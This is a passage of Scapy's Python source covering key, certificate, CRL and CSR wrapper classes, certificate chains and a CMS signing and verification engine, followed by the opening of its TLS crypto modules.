obj.import_from_asn1pkt(privkey) except ImportError: pass return obj class _Raw_ASN1_BIT_STRING(ASN1_BIT_STRING): """A ASN1_BIT_STRING that ignores BER encoding""" def __bytes__(self): return self.val_readable __str__ = __bytes__ class PrivKey(metaclass=_PrivKeyFactory): """ Parent class for PrivKeyRSA, PrivKeyECDSA and PrivKeyEdDSA. Provides common signTBSCert(), resignCert(), verifyCert() and export() methods. """ def signTBSCert(self, tbsCert, h="sha256"): """ Note that this will always copy the signature field from the tbsCertificate into the signatureAlgorithm field of the result, regardless of the coherence between its contents (which might indicate ecdsa-with-SHA512) and the result (e.g. RSA signing MD2). There is a small inheritance trick for the computation of sigVal below: in order to use a sign() method which would apply to both PrivKeyRSA and PrivKeyECDSA, the sign() methods of the subclasses accept any argument, be it from the RSA or ECDSA world, and then they keep the ones they're interested in. Here, t will be passed eventually to pkcs1._DecryptAndSignRSA.sign(). """ sigAlg = tbsCert.signature h = h or hash_by_oid[sigAlg.algorithm.val] sigVal = self.sign(bytes(tbsCert), h=h, t="pkcs") c = X509_Cert() c.tbsCertificate = tbsCert c.signatureAlgorithm = sigAlg c.signatureValue = _Raw_ASN1_BIT_STRING(sigVal, readable=True) return c def resignCert(self, cert): """Rewrite the signature of either a Cert or an X509_Cert.""" return self.signTBSCert(cert.tbsCertificate, h=None) def verifyCert(self, cert): """Verifies either a Cert or an X509_Cert.""" return self.pubkey.verifyCert(cert) def verifyCsr(self, cert): """Verifies either a CSR.""" return self.pubkey.verifyCsr(cert) @property def pem(self): return der2pem(self.der, self.marker) @property def der(self): return self.key.private_bytes( encoding=serialization.Encoding.DER, format=serialization.PrivateFormat.PKCS8, encryption_algorithm=serialization.NoEncryption(), ) def export(self, filename, fmt=None): """ Export private key in 'fmt' format (DER or PEM) to file 'filename' """ if fmt is None: if filename.endswith(".pem"): fmt = "PEM" else: fmt = "DER" with open(filename, "wb") as f: if fmt == "DER": return f.write(self.der) elif fmt == "PEM": return f.write(self.pem.encode()) @crypto_validator def sign(self, data, h="sha256", **kwargs): """ Sign data. """ raise NotImplementedError @crypto_validator def verify(self, msg, sig, h="sha256", **kwargs): """ Verify signed data. """ raise NotImplementedError class PrivKeyRSA(PrivKey, _DecryptAndSignRSA): """ Wrapper for RSA keys based on _DecryptAndSignRSA from crypto/pkcs1.py Use the 'key' attribute to access original object. """ @crypto_validator def fill_and_store( self, modulus=None, modulusLen=None, pubExp=None, prime1=None, prime2=None, coefficient=None, exponent1=None, exponent2=None, privExp=None, ): pubExp = pubExp or 65537 if None in [ modulus, prime1, prime2, coefficient, privExp, exponent1, exponent2, ]: # note that the library requires every parameter # in order to call RSAPrivateNumbers(...) # if one of these is missing, we generate a whole new key real_modulusLen = modulusLen or 2048 if real_modulusLen < 1024 and not _RSA_512_SUPPORTED: # cryptography > 43.0 compatibility self.key = rust_openssl.rsa.generate_private_key( public_exponent=pubExp, key_size=real_modulusLen, ) else: self.key = rsa.generate_private_key( public_exponent=pubExp, key_size=real_modulusLen, backend=default_backend(), ) pubkey = self.key.public_key() else: real_modulusLen = len(binrepr(modulus)) if modulusLen and real_modulusLen != modulusLen: warning("modulus and modulusLen do not match!") pubNum = rsa.RSAPublicNumbers(n=modulus, e=pubExp) privNum = rsa.RSAPrivateNumbers( p=prime1, q=prime2, dmp1=exponent1, dmq1=exponent2, iqmp=coefficient, d=privExp, public_numbers=pubNum, ) self.key = privNum.private_key(default_backend()) pubkey = self.key.public_key() self.marker = "PRIVATE KEY" # Lines below are only useful for the legacy part of pkcs1.py pubNum = pubkey.public_numbers() self._modulusLen = real_modulusLen self._modulus = pubNum.n self._pubExp = pubNum.e self.pubkey = PubKeyRSA((pubNum.e, pubNum.n, real_modulusLen)) def import_from_asn1pkt(self, privkey): modulus = privkey.modulus.val pubExp = privkey.publicExponent.val privExp = privkey.privateExponent.val prime1 = privkey.prime1.val prime2 = privkey.prime2.val exponent1 = privkey.exponent1.val exponent2 = privkey.exponent2.val coefficient = privkey.coefficient.val self.fill_and_store( modulus=modulus, pubExp=pubExp, privExp=privExp, prime1=prime1, prime2=prime2, exponent1=exponent1, exponent2=exponent2, coefficient=coefficient, ) def verify(self, msg, sig, t="pkcs", h="sha256", mgf=None, L=None): return self.pubkey.verify( msg=msg, sig=sig, t=t, h=h, mgf=mgf, L=L, ) def sign(self, data, t="pkcs", h="sha256", mgf=None, L=None): return _DecryptAndSignRSA.sign(self, data, t=t, h=h, mgf=mgf, L=L) class PrivKeyECDSA(PrivKey): """ Wrapper for ECDSA keys based on SigningKey from ecdsa library. Use the 'key' attribute to access original object. """ @crypto_validator def fill_and_store(self, curve=None): curve = curve or ec.SECP256R1 self.key = ec.generate_private_key(curve(), default_backend()) self.pubkey = PubKeyECDSA(cryptography_obj=self.key.public_key()) self.marker = "EC PRIVATE KEY" @crypto_validator def import_from_asn1pkt(self, privkey): self.key = serialization.load_der_private_key( bytes(privkey), None, backend=default_backend() ) self.pubkey = PubKeyECDSA(cryptography_obj=self.key.public_key()) self.marker = "EC PRIVATE KEY" @crypto_validator def verify(self, msg, sig, h="sha256", **kwargs): return self.pubkey.verify(msg=msg, sig=sig, h=h, **kwargs) @crypto_validator def sign(self, data, h="sha256", **kwargs): return self.key.sign(data, ec.ECDSA(_get_hash(h))) class PrivKeyEdDSA(PrivKey): """ Wrapper for EdDSA keys Use the 'key' attribute to access original object. """ @crypto_validator def fill_and_store(self, curve=None): curve = curve or x25519.X25519PrivateKey self.key = curve.generate() self.pubkey = PubKeyECDSA(cryptography_obj=self.key.public_key()) self.marker = "PRIVATE KEY" @crypto_validator def import_from_asn1pkt(self, privkey): self.key = serialization.load_der_private_key( bytes(privkey), None, backend=default_backend() ) self.pubkey = PubKeyECDSA(cryptography_obj=self.key.public_key()) self.marker = "PRIVATE KEY" @crypto_validator def verify(self, msg, sig, **kwargs): return self.pubkey.verify(msg=msg, sig=sig, **kwargs) @crypto_validator def sign(self, data, **kwargs): return self.key.sign(data) ################ # Certificates # ################ class _CertMaker(_PKIObjMaker): """ Metaclass for Cert creation. It is not necessary as it was for the keys, but we reuse the model instead of creating redundant constructors. """ def __call__(cls, cert_path=None, cryptography_obj=None): # This allows to import cryptography objects directly if cryptography_obj is not None: obj = _PKIObj( "DER", cryptography_obj.public_bytes( encoding=serialization.Encoding.DER, ), ) else: # Load from file obj = _PKIObjMaker.__call__(cls, cert_path, _MAX_CERT_SIZE, "CERTIFICATE") obj.__class__ = Cert obj.marker = "CERTIFICATE" try: cert = X509_Cert(obj._der) except Exception: if conf.debug_dissector: raise raise Exception("Unable to import certificate") obj.import_from_asn1pkt(cert) return obj def _get_cert_sig_hashname(cert): """ Return the hash associated with the signature algorithm of a certificate. """ tbsCert = cert.tbsCertificate sigAlg = tbsCert.signature return hash_by_oid[sigAlg.algorithm.val] def _get_csr_sig_hashname(csr): """ Return the hash associated with the signature algorithm of a CSR. """ certReq = csr.certReq sigAlg = certReq.signatureAlgorithm return hash_by_oid[sigAlg.algorithm.val] class Cert(metaclass=_CertMaker): """ Wrapper for the X509_Cert from layers/x509.py. Use the 'x509Cert' attribute to access original object. """ def import_from_asn1pkt(self, cert): error_msg = "Unable to import certificate" self.x509Cert = cert tbsCert = cert.tbsCertificate if tbsCert.version: self.version = tbsCert.version.val + 1 else: self.version = 1 self.serial = tbsCert.serialNumber.val self.sigAlg = tbsCert.signature.algorithm.oidname self.issuer = tbsCert.get_issuer() self.issuer_str = tbsCert.get_issuer_str() self.issuer_hash = hash(self.issuer_str) self.subject = tbsCert.get_subject() self.subject_str = tbsCert.get_subject_str() self.subject_hash = hash(self.subject_str) self.authorityKeyID = None self.notBefore_str = tbsCert.validity.not_before.pretty_time try: self.notBefore = tbsCert.validity.not_before.datetime.timetuple() except ValueError: raise Exception(error_msg) self.notBefore_str_simple = time.strftime("%x", self.notBefore) self.notAfter_str = tbsCert.validity.not_after.pretty_time try: self.notAfter = tbsCert.validity.not_after.datetime.timetuple() except ValueError: raise Exception(error_msg) self.notAfter_str_simple = time.strftime("%x", self.notAfter) self.pubkey = PubKey(bytes(tbsCert.subjectPublicKeyInfo)) if tbsCert.extensions: for extn in tbsCert.extensions: if extn.extnID.oidname == "basicConstraints": self.cA = False if extn.extnValue.cA: self.cA = not (extn.extnValue.cA.val == 0) elif extn.extnID.oidname == "keyUsage": self.keyUsage = extn.extnValue.get_keyUsage() elif extn.extnID.oidname == "extKeyUsage": self.extKeyUsage = extn.extnValue.get_extendedKeyUsage() elif extn.extnID.oidname == "authorityKeyIdentifier": self.authorityKeyID = extn.extnValue.keyIdentifier.val self.signatureValue = bytes(cert.signatureValue) self.signatureLen = len(self.signatureValue) def isIssuer(self, other): """ True if 'other' issued 'self', i.e.: - self.issuer == other.subject - self is signed by other """ if self.issuer_hash != other.subject_hash: return False return other.pubkey.verifyCert(self) def isIssuerCert(self, other): return self.isIssuer(other) def isSelfSigned(self): """ Return True if the certificate is self-signed: - issuer and subject are the same - the signature of the certificate is valid. """ if self.issuer_hash == self.subject_hash: return self.isIssuer(self) return False def encrypt(self, msg, t="pkcs", h="sha256", mgf=None, L=None): # no ECDSA *encryption* support, hence only RSA specific keywords here return self.pubkey.encrypt(msg, t=t, h=h, mgf=mgf, L=L) def verify(self, msg, sig, t="pkcs", h="sha256", mgf=None, L=None): return self.pubkey.verify(msg, sig, t=t, h=h, mgf=mgf, L=L) def getSignatureHash(self): """ Return the hash cryptography object used by the 'signatureAlgorithm' """ return _get_hash(_get_cert_sig_hashname(self)) def setSubjectPublicKeyFromPrivateKey(self, key): """ Replace the subjectPublicKeyInfo of this certificate with the one from the provided key. """ if isinstance(key, (PubKey, PrivKey)): if isinstance(key, PrivKey): pubkey = key.pubkey else: pubkey = key self.tbsCertificate.subjectPublicKeyInfo = X509_SubjectPublicKeyInfo( pubkey.der ) else: raise ValueError("Unknown type 'key', should be PubKey or PrivKey") def resignWith(self, key): """ Resign a certificate with a specific key """ self.import_from_asn1pkt(key.resignCert(self)) def remainingDays(self, now=None): """ Based on the value of notAfter field, returns the number of days the certificate will still be valid. The date used for the comparison is the current and local date, as returned by time.localtime(), except if 'now' argument is provided another one. 'now' argument can be given as either a time tuple or a string representing the date. Accepted format for the string version are: - '%b %d %H:%M:%S %Y %Z' e.g. 'Jan 30 07:38:59 2008 GMT' - '%m/%d/%y' e.g. '01/30/08' (less precise) If the certificate is no more valid at the date considered, then a negative value is returned representing the number of days since it has expired. The number of days is returned as a float to deal with the unlikely case of certificates that are still just valid. """ if now is None: now = time.localtime() elif isinstance(now, str): try: if "/" in now: now = time.strptime(now, "%m/%d/%y") else: now = time.strptime(now, "%b %d %H:%M:%S %Y %Z") except Exception: warning("Bad time string provided, will use localtime() instead.") now = time.localtime() now = time.mktime(now) nft = time.mktime(self.notAfter) diff = (nft - now) / (24.0 * 3600) return diff def isRevoked(self, crl_list): """ Given a list of trusted CRL (their signature has already been verified with trusted anchors), this function returns True if the certificate is marked as revoked by one of those CRL. Note that if the Certificate was on hold in a previous CRL and is now valid again in a new CRL and bot are in the list, it will be considered revoked: this is because _all_ CRLs are checked (not only the freshest) and revocation status is not handled. Also note that the check on the issuer is performed on the Authority Key Identifier if available in _both_ the CRL and the Cert. Otherwise, the issuers are simply compared. """ for c in crl_list: if ( self.authorityKeyID is not None and c.authorityKeyID is not None and self.authorityKeyID == c.authorityKeyID ): return self.serial in (x[0] for x in c.revoked_cert_serials) elif self.issuer == c.issuer: return self.serial in (x[0] for x in c.revoked_cert_serials) return False @property def tbsCertificate(self): return self.x509Cert.tbsCertificate @property def pem(self): return der2pem(self.der, self.marker) @property def der(self): return bytes(self.x509Cert) @property def pubKey(self): warnings.warn( "Cert.pubKey is deprecated and will be removed in a future version. " "Use Cert.pubkey", DeprecationWarning, ) return self.pubkey def __eq__(self, other): return self.der == other.der def __hash__(self): return hash(self.der) def export(self, filename, fmt=None): """ Export certificate in 'fmt' format (DER or PEM) to file 'filename' """ if fmt is None: if filename.endswith(".pem"): fmt = "PEM" else: fmt = "DER" with open(filename, "wb") as f: if fmt == "DER": return f.write(self.der) elif fmt == "PEM": return f.write(self.pem.encode()) def show(self): print("Serial: %s" % self.serial) print("Issuer: " + self.issuer_str) print("Subject: " + self.subject_str) print("Validity: %s to %s" % (self.notBefore_str, self.notAfter_str)) def __repr__(self): return "[X.509 Cert. Subject:%s, Issuer:%s]" % ( self.subject_str, self.issuer_str, ) ################################ # Certificate Revocation Lists # ################################ class _CRLMaker(_PKIObjMaker): """ Metaclass for CRL creation. It is not necessary as it was for the keys, but we reuse the model instead of creating redundant constructors. """ def __call__(cls, cert_path): obj = _PKIObjMaker.__call__(cls, cert_path, _MAX_CRL_SIZE, "X509 CRL") obj.__class__ = CRL try: crl = X509_CRL(obj._der) except Exception: raise Exception("Unable to import CRL") obj.import_from_asn1pkt(crl) return obj class CRL(metaclass=_CRLMaker): """ Wrapper for the X509_CRL from layers/x509.py. Use the 'x509CRL' attribute to access original object. """ def import_from_asn1pkt(self, crl): error_msg = "Unable to import CRL" self.x509CRL = crl tbsCertList = crl.tbsCertList self.tbsCertList = bytes(tbsCertList) if tbsCertList.version: self.version = tbsCertList.version.val + 1 else: self.version = 1 self.sigAlg = tbsCertList.signature.algorithm.oidname self.issuer = tbsCertList.get_issuer() self.issuer_str = tbsCertList.get_issuer_str() self.issuer_hash = hash(self.issuer_str) self.lastUpdate_str = tbsCertList.this_update.pretty_time lastUpdate = tbsCertList.this_update.val if lastUpdate[-1] == "Z": lastUpdate = lastUpdate[:-1] try: self.lastUpdate = time.strptime(lastUpdate, "%y%m%d%H%M%S") except Exception: raise Exception(error_msg) self.lastUpdate_str_simple = time.strftime("%x", self.lastUpdate) self.nextUpdate = None self.nextUpdate_str_simple = None if tbsCertList.next_update: self.nextUpdate_str = tbsCertList.next_update.pretty_time nextUpdate = tbsCertList.next_update.val if nextUpdate[-1] == "Z": nextUpdate = nextUpdate[:-1] try: self.nextUpdate = time.strptime(nextUpdate, "%y%m%d%H%M%S") except Exception: raise Exception(error_msg) self.nextUpdate_str_simple = time.strftime("%x", self.nextUpdate) if tbsCertList.crlExtensions: for extension in tbsCertList.crlExtensions: if extension.extnID.oidname == "cRLNumber": self.number = extension.extnValue.cRLNumber.val revoked = [] if tbsCertList.revokedCertificates: for cert in tbsCertList.revokedCertificates: serial = cert.serialNumber.val date = cert.revocationDate.val if date[-1] == "Z": date = date[:-1] try: time.strptime(date, "%y%m%d%H%M%S") except Exception: raise Exception(error_msg) revoked.append((serial, date)) self.revoked_cert_serials = revoked self.signatureValue = bytes(crl.signatureValue) self.signatureLen = len(self.signatureValue) def isIssuer(self, other): # This is exactly the same thing as in Cert method. if self.issuer_hash != other.subject_hash: return False return other.pubkey.verifyCert(self) def verify(self, anchors): # Return True iff the CRL is signed by one of the provided anchors. return any(self.isIssuer(a) for a in anchors) def show(self): print("Version: %d" % self.version) print("sigAlg: " + self.sigAlg) print("Issuer: " + self.issuer_str) print("lastUpdate: %s" % self.lastUpdate_str) print("nextUpdate: %s" % self.nextUpdate_str) ############################### # Certificate Signing Request # ############################### class _CSRMaker(_PKIObjMaker): """ Metaclass for CSR creation. It is not necessary as it was for the keys, but we reuse the model instead of creating redundant constructors. """ def __call__(cls, cert_path): obj = _PKIObjMaker.__call__(cls, cert_path, _MAX_CSR_SIZE) obj.__class__ = CSR try: # PKCS#10 format csr = PKCS10_CertificationRequest(obj._der) obj.marker = "NEW CERTIFICATE REQUEST" obj.fmt = CSR.FORMAT.PKCS10 except Exception: try: # CMC format csr = CMS_ContentInfo(obj._der) obj.marker = "NEW CERTIFICATE REQUEST" obj.fmt = CSR.FORMAT.CMC except Exception: raise Exception("Unable to import CSR") obj.import_from_asn1pkt(csr) return obj class CSR(metaclass=_CSRMaker): """ Wrapper for the CSR formats. This can handle both PKCS#10 and CMC formats. """ class FORMAT(enum.Enum): """ The format used by the CSR. """ PKCS10 = "PKCS#10" CMC = "CMC" def import_from_asn1pkt(self, csr): self.csr = csr certReqInfo = self.certReq.certificationRequestInfo # Subject self.subject = certReqInfo.get_subject() self.subject_str = certReqInfo.get_subject_str() self.subject_hash = hash(self.subject_str) # pubkey self.pubkey = PubKey(bytes(certReqInfo.subjectPublicKeyInfo)) # Get the "subjectKeyIdentifier" from the "extensionRequest" attribute try: extReq = next( x.values[0].value for x in certReqInfo.attributes if x.type.val == "1.2.840.113549.1.9.14" # extKeyUsage ) self.sid = next( x.extnValue.keyIdentifier for x in extReq.extensions if x.extnID.val == "2.5.29.14" # subjectKeyIdentifier ) except StopIteration: self.sid = None @property def certReq(self): csr = self.csr if self.fmt == CSR.FORMAT.PKCS10: return csr elif self.fmt == CSR.FORMAT.CMC: if ( csr.contentType.oidname != "id-signedData" or csr.content.encapContentInfo.eContentType.oidname != "id-cct-PKIData" ): raise ValueError("Invalid CMC wrapping !") req = csr.content.encapContentInfo.eContent.reqSequence[0] return req.request.certificationRequest else: raise ValueError("Invalid CSR format !") @property def pem(self): return der2pem(self.der, self.marker) @property def der(self): return bytes(self.csr) def __eq__(self, other): return self.der == other.der def __hash__(self): return hash(self.der) def isIssuer(self, other): return other.sid == self.sid def isSelfSigned(self): return True def verify(self, msg, sig, t="pkcs", h="sha256", mgf=None, L=None): return self.pubkey.verify(msg, sig, t=t, h=h, mgf=mgf, L=L) def export(self, filename, fmt=None): """ Export certificate in 'fmt' format (DER or PEM) to file 'filename' """ if fmt is None: if filename.endswith(".pem"): fmt = "PEM" else: fmt = "DER" with open(filename, "wb") as f: if fmt == "DER": return f.write(self.der) elif fmt == "PEM": return f.write(self.pem.encode()) def show(self): certReqInfo = self.certReq.certificationRequestInfo print("Subject: " + self.subject_str) print("Attributes:") for attr in certReqInfo.attributes: print(" - %s" % attr.type.oidname) def verifySelf(self) -> bool: """ Verify the signatures of the CSR """ if self.fmt == self.FORMAT.CMC: try: cms_engine = CMS_Engine([self]) cms_engine.verify(self.csr) return self.pubkey.verifyCsr(self) except ValueError: return False elif self.fmt == self.FORMAT.PKCS10: return self.pubkey.verifyCsr(self) else: return False def __repr__(self): return "[CSR Format: %s, Subject:%s, Verified: %s]" % ( self.fmt.value, self.subject_str, self.verifySelf(), ) #################### # Certificate list # #################### class CertList(list): """ An object that can store a list of Cert objects, load them and export them into DER/PEM format. """ def __init__( self, certList: Union[Self, List[Cert], List[CSR], Cert, str], ): """ Construct a list of certificates/CRLs to be used as list of ROOT certificates. """ # Parse the certificate list / CA if isinstance(certList, str): # It's a path. First get the _PKIObj obj = _PKIObjMaker.__call__( CertList, certList, _MAX_CERT_SIZE, "CERTIFICATE" ) # Then parse the der until there's nothing left certList = [] payload = obj._der while payload: cert = X509_Cert(payload) if conf.raw_layer in cert.payload: payload = cert.payload.load else: payload = None cert.remove_payload() certList.append(Cert(cert)) self.frmt = obj.frmt elif isinstance(certList, Cert): certList = [certList] self.frmt = "PEM" else: self.frmt = "PEM" super(CertList, self).__init__(certList) def findCertBySid(self, sid): """ Find a certificate in the list by SubjectIDentifier. """ for cert in self: if isinstance(cert, Cert) and isinstance(sid, CMS_IssuerAndSerialNumber): if cert.issuer == sid.get_issuer(): return cert elif isinstance(cert, CSR) and isinstance(sid, CMS_SubjectKeyIdentifier): if cert.sid == sid.sid: return cert raise KeyError("Certificate not found !") def export(self, filename, fmt=None): """ Export a list of certificates 'fmt' format (DER or PEM) to file 'filename' """ if fmt is None: if filename.endswith(".pem"): fmt = "PEM" else: fmt = "DER" with open(filename, "wb") as f: if fmt == "DER": return f.write(self.der) elif fmt == "PEM": return f.write(self.pem.encode()) @property def der(self): return b"".join(x.der for x in self) @property def pem(self): return "".join(x.pem for x in self) def __repr__(self): return "" % (len(self),) def show(self): for i, c in enumerate(self): print(conf.color_theme.id(i, fmt="%04i"), end=" ") print(repr(c)) ###################### # Certificate chains # ###################### class CertTree(CertList): """ An extension to CertList that additionally has a list of ROOT CAs that are trusted. Example:: >>> tree = CertTree("ca_chain.pem") >>> tree.show() /CN=DOMAIN-DC1-CA/dc=DOMAIN [Self Signed] /CN=Administrator/dc=DOMAIN [Not Self Signed] """ __slots__ = ["frmt", "rootCAs"] def __init__( self, certList: Union[List[Cert], CertList, str], rootCAs: Union[List[Cert], CertList, Cert, str, None] = None, ): """ Construct a chain of certificates that follows issuer/subject matching and respects signature validity. Note that we do not check AKID/{SKID/issuer/serial} matching, nor the presence of keyCertSign in keyUsage extension (if present). :param certList: a list of Cert/CRL objects (or path to PEM/DER file containing multiple certs/CRL) to try to chain. :param rootCAs: (optional) a list of certificates to trust. If not provided, trusts any self-signed certificates from the certList. """ # Parse the certificate list certList = CertList(certList) # Find the ROOT CAs if store isn't specified if not rootCAs: # Build cert store. self.rootCAs = CertList([x for x in certList if x.isSelfSigned()]) # And remove those certs from the list for cert in self.rootCAs: certList.remove(cert) else: # Store cert store. self.rootCAs = CertList(rootCAs) # And remove those certs from the list if present (remove dups) for cert in self.rootCAs: if cert in certList: certList.remove(cert) # Append our root CAs to the certList certList.extend(self.rootCAs) # Super instantiate super(CertTree, self).__init__(certList) @property def tree(self): """ Get a tree-like object of the certificate list """ # We store the tree object as a dictionary that contains children. tree = [(x, []) for x in self.rootCAs] # We'll empty this list eventually certList = list(self) # We make a list of certificates we have to search children for, and iterate # through it until it's empty. todo = list(tree) # Iterate while todo: cert, children = todo.pop() for c in certList: # Check if this certificate matches the one we're looking at if c.isIssuer(cert) and c != cert: item = (c, []) children.append(item) certList.remove(c) todo.append(item) return tree def getchain(self, cert): """ Return a chain of certificate that points from a ROOT CA to a certificate. """ def _rec_getchain(chain, curtree): # See if an element of the current tree signs the cert, if so add it to # the chain, else recurse. for c, subtree in curtree: curchain = chain + [c] # If 'cert' is issued by c if cert.isIssuer(c): # Final node of the chain ! # (add the final cert if not self signed) if c != cert: curchain += [cert] return curchain else: # Not the final node of the chain ! Recurse. curchain = _rec_getchain(curchain, subtree) if curchain: return curchain return None chain = _rec_getchain([], self.tree) if chain is not None: return CertTree(chain) else: return None def verify(self, cert): """ Verify that a certificate is properly signed. """ # Check that we can find a chain to this certificate if not self.getchain(cert): raise ValueError("Certificate verification failed !") def show(self, ret: bool = False): """ Return the CertTree as a string certificate tree """ def _rec_show(c, children, lvl=0): s = "" # Process the current CA if c: if not c.isSelfSigned(): s += "%s [Not Self Signed]\n" % c.subject_str else: s += "%s [Self Signed]\n" % c.subject_str s = lvl * " " + s lvl += 1 # Process all sub-CAs at a lower level for child, subchildren in children: s += _rec_show(child, subchildren, lvl=lvl) return s showed = _rec_show(None, self.tree) if ret: return showed else: print(showed) def __repr__(self): return "" % ( len(self), len(self.rootCAs), ) ####### # CMS # ####### # RFC3852 class CMS_Engine: """ A utility class to perform CMS/PKCS7 operations, as specified by RFC3852. :param store: a ROOT CA certificate list to trust. :param crls: a list of CRLs to include. This is currently not checked. """ def __init__( self, store: CertList, crls: List[X509_CRL] = [], ): self.store = store self.crls = crls def sign( self, message: Union[bytes, Packet], eContentType: ASN1_OID, cert: Cert, key: PrivKey, h: Optional[str] = None, ): """ Sign a message using CMS. :param message: the inner content to sign. :param eContentType: the OID of the inner content. :param cert: the certificate whose key to use use for signing. :param key: the private key to use for signing. :param h: the hash to use (default: same as the certificate's signature) We currently only support X.509 certificates ! """ # RFC3852 - 5.4. Message Digest Calculation Process h = h or _get_cert_sig_hashname(cert) hash = hashes.Hash(_get_hash(h)) hash.update(bytes(message)) hashed_message = hash.finalize() # 5.5. Signature Generation Process signerInfo = CMS_SignerInfo( version=1, sid=CMS_IssuerAndSerialNumber( issuer=cert.tbsCertificate.issuer, serialNumber=cert.tbsCertificate.serialNumber, ), digestAlgorithm=X509_AlgorithmIdentifier( algorithm=ASN1_OID(h), parameters=ASN1_NULL(0), ), signedAttrs=[ X509_Attribute( type=ASN1_OID("contentType"), values=[ X509_AttributeValue(value=eContentType), ], ), X509_Attribute( type=ASN1_OID("messageDigest"), # "A message-digest attribute MUST have a single attribute value" values=[ X509_AttributeValue(value=ASN1_STRING(hashed_message)), ], ), ], signatureAlgorithm=cert.tbsCertificate.signature, ) signerInfo.signature = ASN1_STRING( key.sign( bytes( CMS_SignedAttrsForSignature( signedAttrs=signerInfo.signedAttrs, ) ), h=h, ) ) # Build a chain of X509_Cert to ship (but skip the ROOT certificate) certTree = CertTree(cert, self.store) certificates = [x.x509Cert for x in certTree if not x.isSelfSigned()] # Build final structure return CMS_ContentInfo( contentType=ASN1_OID("id-signedData"), content=CMS_SignedData( version=3 if certificates else 1, digestAlgorithms=X509_AlgorithmIdentifier( algorithm=ASN1_OID(h), parameters=ASN1_NULL(0), ), encapContentInfo=CMS_EncapsulatedContentInfo( eContentType=eContentType, eContent=message, ), certificates=( [CMS_CertificateChoices(certificate=cert) for cert in certificates] if certificates else None ), crls=( [CMS_RevocationInfoChoice(crl=crl) for crl in self.crls] if self.crls else None ), signerInfos=[ signerInfo, ], ), ) def verify( self, contentInfo: CMS_ContentInfo, eContentType: Optional[ASN1_OID] = None, eContent: Optional[bytes] = None, ): """ Verify a CMS message against the list of trusted certificates, and return the unpacked message if the verification succeeds. :param contentInfo: the ContentInfo whose signature to verify :param eContentType: if provided, verifies that the content type is valid :param eContent: in PKCS 7.1, provide the content to verify """ if contentInfo.contentType.oidname != "id-signedData": raise ValueError("ContentInfo isn't signed !") signeddata = contentInfo.content # Build the certificate chain certificates = [] if signeddata.certificates: certificates = [Cert(x.certificate) for x in signeddata.certificates] certTree = CertTree(certificates, self.store) # Check there's at least one signature if not signeddata.signerInfos: raise ValueError("ContentInfo contained no signature !") # Check all signatures for signerInfo in signeddata.signerInfos: # Find certificate in the chain that did this cert: Cert = certTree.findCertBySid(signerInfo.sid) # Verify certificate signature certTree.verify(cert) # Verify the message hash if signerInfo.signedAttrs: # Verify the contentType try: contentType = next( x.values[0].value for x in signerInfo.signedAttrs if x.type.oidname == "contentType" ) if contentType != signeddata.encapContentInfo.eContentType: raise ValueError( "Inconsistent 'contentType' was detected in packet !" ) if eContentType is not None and eContentType != contentType: raise ValueError( "Expected '%s' but got '%s' contentType !" % ( eContentType, contentType, ) ) except StopIteration: raise ValueError("Missing contentType in signedAttrs !") # Verify the messageDigest value try: # "A message-digest attribute MUST have a single attribute value" messageDigest = next( x.values[0].value for x in signerInfo.signedAttrs if x.type.oidname == "messageDigest" ) if signeddata.encapContentInfo.eContent is not None: eContent = bytes(signeddata.encapContentInfo.eContent) elif eContent is None: raise ValueError("No eContent was provided !") # Re-calculate hash h = signerInfo.digestAlgorithm.algorithm.oidname hash = hashes.Hash(_get_hash(h)) hash.update(eContent) hashed_message = hash.finalize() if hashed_message != messageDigest: raise ValueError("Invalid messageDigest value !") except StopIteration: raise ValueError("Missing messageDigest in signedAttrs !") # Verify the signature cert.verify( msg=bytes( CMS_SignedAttrsForSignature( signedAttrs=signerInfo.signedAttrs, ) ), sig=signerInfo.signature.val, ) else: cert.verify( msg=bytes(signeddata.encapContentInfo), sig=signerInfo.signature.val, ) # Return the content return signeddata.encapContentInfo.eContent ================================================ FILE: scapy/layers/tls/crypto/__init__.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) 2007, 2008, 2009 Arnaud Ebalard # 2015, 2016 Maxence Tury """ Cryptographic capabilities for TLS. """ ================================================ FILE: scapy/layers/tls/crypto/all.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) 2007, 2008, 2009 Arnaud Ebalard # 2015, 2016, 2017 Maxence Tury """ Aggregate some TLS crypto objects. """ from scapy.layers.tls.crypto.suites import * # noqa: F401 ================================================ FILE: scapy/layers/tls/crypto/cipher_aead.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) 2007, 2008, 2009 Arnaud Ebalard # 2015, 2016, 2017 Maxence Tury """ Authenticated Encryption with Associated Data ciphers. RFC 5288 introduces new ciphersuites for TLS 1.2 which are based on AES in Galois/Counter Mode (GCM). RFC 6655 in turn introduces AES_CCM ciphersuites. The related AEAD algorithms are defined in RFC 5116. Later on, RFC 7905 introduced cipher suites based on a ChaCha20-Poly1305 construction. """ import struct from scapy.config import conf from scapy.layers.tls.crypto.pkcs1 import pkcs_i2osp, pkcs_os2ip from scapy.layers.tls.crypto.common import CipherError from scapy.utils import strxor if conf.crypto_valid: from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes # noqa: E501 from cryptography.hazmat.backends import default_backend from cryptography.exceptions import InvalidTag if conf.crypto_valid_advanced: from cryptography.hazmat.primitives.ciphers.aead import (AESCCM, ChaCha20Poly1305) else: class AESCCM: pass _tls_aead_cipher_algs = {} class _AEADCipherMetaclass(type): """ Cipher classes are automatically registered through this metaclass. Furthermore, their name attribute is extracted from their class name. """ def __new__(cls, ciph_name, bases, dct): if not ciph_name.startswith("_AEADCipher"): dct["name"] = ciph_name[7:] # remove leading "Cipher_" the_class = super(_AEADCipherMetaclass, cls).__new__(cls, ciph_name, bases, dct) if not ciph_name.startswith("_AEADCipher"): _tls_aead_cipher_algs[ciph_name[7:]] = the_class return the_class class AEADTagError(Exception): """ Raised when MAC verification fails. """ pass class _AEADCipher(metaclass=_AEADCipherMetaclass): """ The hasattr(self, "pc_cls") tests correspond to the legacy API of the crypto library. With cryptography v2.0, both CCM and GCM should follow the else case. Note that the "fixed_iv" in TLS RFCs is called "salt" in the AEAD RFC 5116. """ type = "aead" fixed_iv_len = 4 nonce_explicit_len = 8 def __init__(self, key=None, fixed_iv=None, nonce_explicit=None): """ 'key' and 'fixed_iv' are to be provided as strings, whereas the internal # noqa: E501 'nonce_explicit' is an integer (it is simpler for incrementation). !! The whole 'nonce' may be called IV in certain 